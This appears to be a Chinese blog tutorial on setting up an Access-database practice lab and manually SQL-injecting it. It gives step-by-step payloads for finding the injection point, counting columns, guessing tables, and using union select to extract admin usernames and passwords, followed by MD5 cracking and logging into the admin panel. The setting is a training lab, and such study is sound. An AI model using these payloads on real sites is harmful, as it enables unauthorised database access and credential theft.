首页 > 其他分享 >ACCESS靶场手工注入(附靶场搭建)

ACCESS靶场手工注入(附靶场搭建)

时间:2024-08-22 08:53:34浏览次数:9  
标签:administrator 回显 union ACCESS 报错 输入 靶场 select 搭建

下载地址:https://pan.baidu.com/s/1y6Gkvo7Wsbwj_zNbaBiCmA 提取码: kjg7

一、靶场搭建

1、将压缩包添到wwwroot目录下

2、 访问iis绑定的ip地址

二、ACCESS注入

1、判断注入点

点击新闻中心,发现一个?id参数   输入' 发现报错,输入' and 1=2, 发现报错,输入' and 1=1,页面正常,说明存在注入点

2、判断列数

输入 ' order by 8 报错,输入 'order by 7 不报错,所以有7列

3、猜测表名

and exists(select * from 表名)

 

4、判断回显位置

union select 1,2,3,4,5,6,7 from 表名

5、猜测字段名

union select 1,username,3,4,5,6,7 from administrator,报错,说明没有usernam字段

union select 1,user_name,3,4,5,6,7 from administrator,页面回显结果,说明有user_name字段

 union select 1,user_name,password,4,5,6,7 from administrator,尝试查看也,页面回显,说明存在password字段

6、将密码进行MD5解密

爆破后台登录地址

输入用户密码登录后台

标签:administrator,回显,union,ACCESS,报错,输入,靶场,select,搭建
From: https://blog.csdn.net/m0_73771249/article/details/141353554

相关文章

  • Docker受限?试试Podman,手动搭建Ubuntu容器镜像
    Docker受限?试试Podman,手动搭建Ubuntu容器镜像最近,我打算用Docker来搭建一个开发环境,但遗憾的是,我发现DockerHub无法使用,甚至国内的镜像源也无法访问。这让我有些头疼,但好在我在寻找解决方案的过程中,发现了一个Docker的替代方案:Podman。Podman的使用方法与Docker几乎一模......
  • 0.环境搭建
    stm32环境搭建mdk安装:https://www.keil.com/download/product/  C:\ProgramFiles\MDK\Core  C:\ProgramFiles\MDK\PackSTM32cubeMX:https://www.st.com.cn/zh/development-tools/stm32cubemx.html#get-software  C:\ProgramFiles\STM32CubeMx\Core  C:\Progr......
  • 虚拟机的搭建
    1.Download VMwareWorkstation 下载和安装关注微信公众号“软件安装大神”找到虚拟机VMware162.DownloadingKaliLinux 搜索官网:KaliLinux|PenetrationTestingandEthicalHackingLinuxDistribution  解压,然后在第一步虚拟机VMware16安装成功后打开第二部......
  • 软件测试-web自动化测试-前期环境搭建
    记录学习笔记web端自动化测试也就是网页自动化测试。主要在PyCharm软件里编写代码,前期需要准备python+selenium的基础环境搭建。1、下载安装python,下载最新版检查环境:在cmd里python -v和pip -v可以正常出现。√2、PyCharm安装,下载社区免费版直接next安装即可,打开软......
  • 开始搭建每一步图片处理的按钮
    1.读取图片按钮(1)创建主窗体以及读取图片按钮(按钮2)和执行算法流程按钮(按钮1)(2)创建读取图片窗体(窗体1)和选择文件夹按钮(按钮3)(3)进行构造函数RunPro(4)对按钮1进行点击事件其中,调用构造函数RunPro,来获取图片所在文件夹并对文件夹内的图片进行遍历(5)按钮2点击事件,跳转到窗体1......
  • MapStruct+Maven+Lombok问题NoSuchBeanDefinitionException、does not have an access
    概述先直接说我遇到的问题吧,SpringBoot应用启动失败:ERROR|org.springframework.boot.web.embedded.tomcat.TomcatStarter|onStartup|61|-ErrorstartingTomcatcontext.Exception:org.springframework.beans.factory.UnsatisfiedDependencyException.Message:Er......
  • 在线答题考试系统网站/APP/小程序开发搭建
    一款基于YETUADMIN+ThinkPHP8+Uniapp开发的小程序答题考试系统,提供全部前后台无加密源代码,支持私有化部署.可支持对接语言显示:英语,法语,俄语,简体中文, 西班牙语,葡萄牙语,德国语, 阿拉伯语,日本语,韩国语,意大利语, 印地语,马来语,孟加拉,越南人,泰国人,印度尼......
  • 一文教会你如何搭建固定IP代理
    在现代互联网环境中,固定IP代理成为了越来越多人的选择。无论是为了更稳定的网络连接,还是为了更好的隐私保护,固定IP代理都能提供极大的便利。什么是固定IP代理?固定IP代理,顾名思义,就是提供一个固定的IP地址供用户使用。就像你家里的邮递员知道你的固定住址一样,固定IP代理让你......
  • 产品帮助中心如何搭建?五步让客户满意度提升100%
    一、引言创建帮助文章的好处是节省了招募大量客户联系代理的昂贵成本。它们现在通过解决客户的早期问题而无需支持干预,并为自助提供逐步指导,从而取代了支持代理。当您创建帮助文章时,您会构建知识库并为将来保留它。这些帮助文章充当新员工和客户的培训材料,并确保顺利的入职......
  • 第4篇 虚拟机搭建gitlab环境步骤
    内网环境下搭建自己的gitlab环境管理代码仓库1.介绍实际开发中,可能涉及到工作环境只能在内网环境下做开发,不能使用外网的git进行代码管理以及版本发布等等,本次主要讲解gilab在内网环境下的搭建流程;第1步安装VmwareWorkstationplayer免费版,安装流程可以网上查找该软件的安装......